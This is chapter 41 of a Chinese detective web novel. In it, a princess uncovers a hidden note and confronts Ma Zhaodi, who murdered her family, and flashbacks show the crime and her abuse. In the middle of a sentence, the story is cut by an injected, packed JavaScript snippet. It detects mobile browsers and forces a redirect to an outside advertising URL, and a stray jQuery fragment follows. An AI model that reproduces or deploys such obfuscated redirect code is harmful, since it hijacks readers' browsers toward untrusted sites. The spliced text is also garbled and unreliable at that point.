41. 第 41 章
作品:《公主,求您疼我!(探案)》 一夜无眠。
“公主,调查的人方才得了消息来,宝光寺没有见过杨香舞,不过马招娣也不是一直待在寺庙,她干活完经常去山上的坟墓祭拜。”
听到这话,原先连连打哈欠的刘槿熙突然有了精气神,剑眉拧在一起,疲乏的小脸上露出倦意。
月见心疼,她拧干毛巾递到刘槿熙手中,轻声细语地试探劝道:“公主既是疲乏,不如再多睡会儿?”
“不必了,备架马车去媚香阁。”
摇晃的车身反倒带给她睡意,她倚靠着车身小憩,隐隐约约中听到远处唢呐的声响。
马车停在媚香阁前,月见见她睡得正香原是不想叫醒她,哪料她自己睁开了眼,提着裙摆就往下走。
才重新开张又见官府的人来,柳娘哪里受得这般刺激,根本记不得昨日的情面苦着脸对她,眼看只有她和月见走进来,不算太大影响,哭丧的脸顿时又恢复成满面春风的笑意。
杨香舞的房间依旧保持原样,只是贴上了封条。
柳娘出去迎客,屋内只有刘槿熙与月见二人。
“公主,既然是来这种地儿也该带多点人才是,您瞧方才多少混账露出那些不怀好意的眼神。”月见嘴上虽抱怨,身体却很老实地跟在她身边,即便这间房间没有第三个人。
刘槿熙突然在镜台前坐下,她端详着铜镜中戴着帷帽的女人。
“公主还是怀疑马招娣?”
“嗯。”她一动不动,只是静静盯着铜镜中的女人。
“那为何不直接去问她?”
“先前在宝光寺时她撒了那么多谎,问了也不会说真话的,总得找到些证据。”她说着开始站起身随意走动,仔细观察着这里的摆设样式。
找了两圈也没发现什么值得注意的东西,也是,毕竟这里的每个角落都被捕快搜查过了,刘槿熙颓丧地坐回镜台前,忽而瞥见镜台角落的三层首饰盒,她也有个一样的。
她记得,这个首饰盒有个暗格。
刘槿熙焦急地将首饰盒拉到面前,怀揣着紧张的心情抽出中间的抽屉,手指微颤着移到其中朝上按压,果真落下一个隐藏的抽屉,里面只放了一张纸条。
纸条上歪歪扭扭地写着三个字“马春风”。
只有这三个字,这是谁?
“公主,这……”
“月见,你有没有觉得她们的遭遇很像?”
“难道说,是马招娣利用杨香舞的同情帮她杀人?”
“不,我想她是自愿的,这张纸就是最好的证明。”
疾驰的马儿在东市上奔驰,路人见状纷纷躲闪。
“哎,你听说没有,那女的心真狠啊,连父母手足都下得去手!”
“是啊,真是可怕,她那新的郎君好像也遭殃了!”
“蛇蝎心肠……”
“吁——”她紧拽缰绳强行让马儿停下,“你们说的是何人?可是叫马招娣?!”
两人被高抬的马蹄吓得魂飞魄散愣在原地连连点头。
“坏了!月见,你快去大理寺,让他去宝光寺后边山上的坟墓找!”
“公主您呢?”
“我现在先赶过去。”她揪着缰绳改变方向。
“可是……”
“快去!”
说罢,她高呼声“驾”,马儿再次飞快地穿梭于人群之中,月见进退两难,只好跨马加鞭赶去大理寺报信,祈祷着能及时赶上刘槿熙。
山上结冰的道路很滑,而且荆棘丛生,刘槿熙只好弃了马独自往上走
曾今被劈开的荆棘再次缠绕在一起,阴沉沉的树荫挡住了阳光,她一不留神就跌了一跤,手掌撑开挡在地上,雪堆里的石块划开细嫩的手掌,冻红的掌心沿着撕开的裂口低落鲜血。
眼看就快到了,她咬牙继续往上走,沿着记忆的小径。
石碑前堆放着两摞烧饼,几乎挡住石碑,烧饼上边还冒着腾腾升起的热气,想来是才出锅不久。
“马春风!”
石碑前跪着的女人抬起头,泪眼婆娑地止住哭声,愣神地凝视着她,马招娣沉默良久,她没有否认这个名字,也不问缘由:“你怎么来了?”
“你记得这个吧?”她摊开手心,将那张写着马春风的字条递给马招娣,“这是她珍藏的,我在首饰盒的暗格找到的。”
寒风吹动的衣摆扫在马招娣的衣襟上,发白的嘴唇颤动,她整个人都变得苍白:“我不知道你在说什么。”
“好,那我来告诉你。”刘槿熙往前迈了两步,两人只有一步之遥,吹起的裙摆几乎完全遮盖住马招娣的身子,使得她苍白的脸色渐渐恢复了血色。
“杨香舞同情你,为你杀了你的丈夫,而后自杀,为的就是把这一切都嫁祸给你的弟弟。”见她抿着唇,刘槿熙知道自己说对了,“因为她和你一样,原生家庭的痛压得她不能呼吸,她太了解这种感觉,所以当一个相似的人出现的那一刻,她仿佛看到了自己,她想要拯救曾经的自己。”
“只是,她没有想到后来的你却变卦,说出了买药之事为你弟弟脱罪。“
风雪呼呼刮起,悬挂在长长的睫毛,乌黑的瞳孔散大。
十日前,平旦,“咕咕咕——”,灯火随着鸡鸣声依次点亮,紧接着好几声“咯吱”作响,屋内的热气伴随着走出的商贩溢出,腾入云中。
东郊的那片松树林仿佛也醒了过来,树上的积雪在微弱阳光的照耀下渐渐融化。
“架!”马车疾驰,飞奔于丛林之间,眼看快到东市口,马车突然消失在丛林树影中,随疾风摇摆的松树林也静了。
马车上跳下一个身着粉色长裙的女子,脸上是浅紫色面纱,后边紧跟着走下一个白衣女子。
“我们就在这里分别吧。”杨香舞扬唇一笑,头也不回地往前边的东市口走去,“可别和我讲话。”
两人沉默一路,一前一后进了本草堂。
“我昨日淋了雨。”眼见大夫查看完舌苔转身去抓药,马招娣扭过头去,只见杨香舞将轻薄的药包藏于袖中,悄悄冲她眨眼,哼着小曲儿往外走。
她忽然有那么一丝后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079722|163416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悔了,马招娣顾不得拿药包就冲了出去,哪料杨香舞早已不见人影。
或许,这是天注定吧,她重新折回本草堂取了药包,按照原计划往回走。
“你有证据吗?”马招娣扬起下巴仰视着眼前的女子,目光不自觉移到她右掌心上凝血的伤口,她错然失色,猛地抬头盯着那双黑亮的眼睛,这是她见过第三双最好看的眼睛。
“我没有,可是你杀了马家其余人以及你的新婚丈夫,我想大理寺的捕快很快追过来。”
马招娣嗤笑,不屑地扬头问她:“所以呢,你是来帮我脱逃的吗?”
“不是。”刘槿熙回答得那样肯定真诚,叫她觉得令人发笑。
马招娣熟练从粉色的衣裙撕下一块布条,紧拽住她的手为她包扎:“这是我穿过的最好的衣服上的料子了,你暂时忍耐一下。”即便她依旧冷着脸,可温和的语气还是暴露了她的内心。
“你当初既然救了马耀祖,为什么……“
“凭什么他们不爱我?!”马招娣歇斯底里地大吼,阻止她说出那句话。
见她眼神错愕,马招娣却坦然地笑了:“有些东西你不会懂的,有的人生来就是珍珠被人捧在手心,有的人生来就是草芥连亲生父母也厌弃。”
“而我,是草芥中的草芥。”柔和的目光渐渐暴戾,“我真的不明白,为什么我听话懂事事事顺着他们,可他们还是要抛弃我,耀祖好赌,他们飞弹没有指责,还夸赞他有理财之道。”
马招娣“噗嗤”一声哈哈大笑,笑得眼角的泪水被挤压落下:“他们这样对我,我认了,这是我的命,可是我的女儿,她不该受这样的苦。”
“呜哇!”
响亮而清脆的啼哭声划破云霄,鸱尾上歇脚的大雁惊起,连着扑腾好几下翅膀冲向天空。
“生了?”
“生了!”婆子怀抱着襁褓婴儿疾步迈出门槛,递到最前边的老妇前。
“怎么是个姑娘?!”那老妇霎时变了脸色,冷哼一声甩袖离开,急促的衣袖拍打在女婴的脸上,粉红的小脸更加通红,女婴哭得厉害,纷纷离去的人却是没有搭理。
婆子脸上的喜色僵硬,她不再摇哄怀中的女婴,转身走回屋内猛地将女婴丢在无力起身的女人身边。
“你做什么?!”她吓得朝着婆子大吼,这一声大吼几乎用尽了所有的力气,只觉得两眼一黑瘫软在床榻上。
伺候的人眼见情形不对都各自离开,留下无依无靠的母女两人。
“不哭,不哭……”马招娣强忍着疼痛扶着床榻坐起。
“嗞!”疼痛沿着大腿钻到大脑,她倒吸口气屏住呼吸,只觉一股热流,暗红的血液从两腿之间喷涌而出,恶臭的血腥充斥着整间屋子。
旁边的女婴许是因着血腥的味道嗅到危险,哭喊得更加厉害以至破音。
“不哭,不哭……”凌乱的发丝随着流淌的汗液黏在一起,风一吹她冷得直打哆嗦,被汗液打湿的被褥盖在身上更是冷得颤抖,抽搐的手指缓慢地抱起裹着襁褓的女婴,捧在怀中。